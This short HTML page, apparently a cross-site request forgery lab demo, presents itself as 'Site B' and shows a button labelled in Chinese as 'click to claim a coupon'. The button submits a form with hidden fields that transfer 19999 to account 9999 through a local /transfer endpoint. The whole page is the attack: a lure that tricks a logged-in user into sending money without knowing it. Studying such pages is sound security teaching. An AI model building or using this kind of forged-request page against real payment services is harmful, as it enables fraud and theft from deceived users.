<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>B站</title>
</head>
<body>
<h1>网站B</h1>
<form method="post" action="http://localhost:9000/transfer">
    <input type="hidden" name="to_account" value="9999">
    <input type="hidden" name="money" value="19999" hidden>
    <input type="submit" value="点击领取优惠券">

</form>

</body>
</html>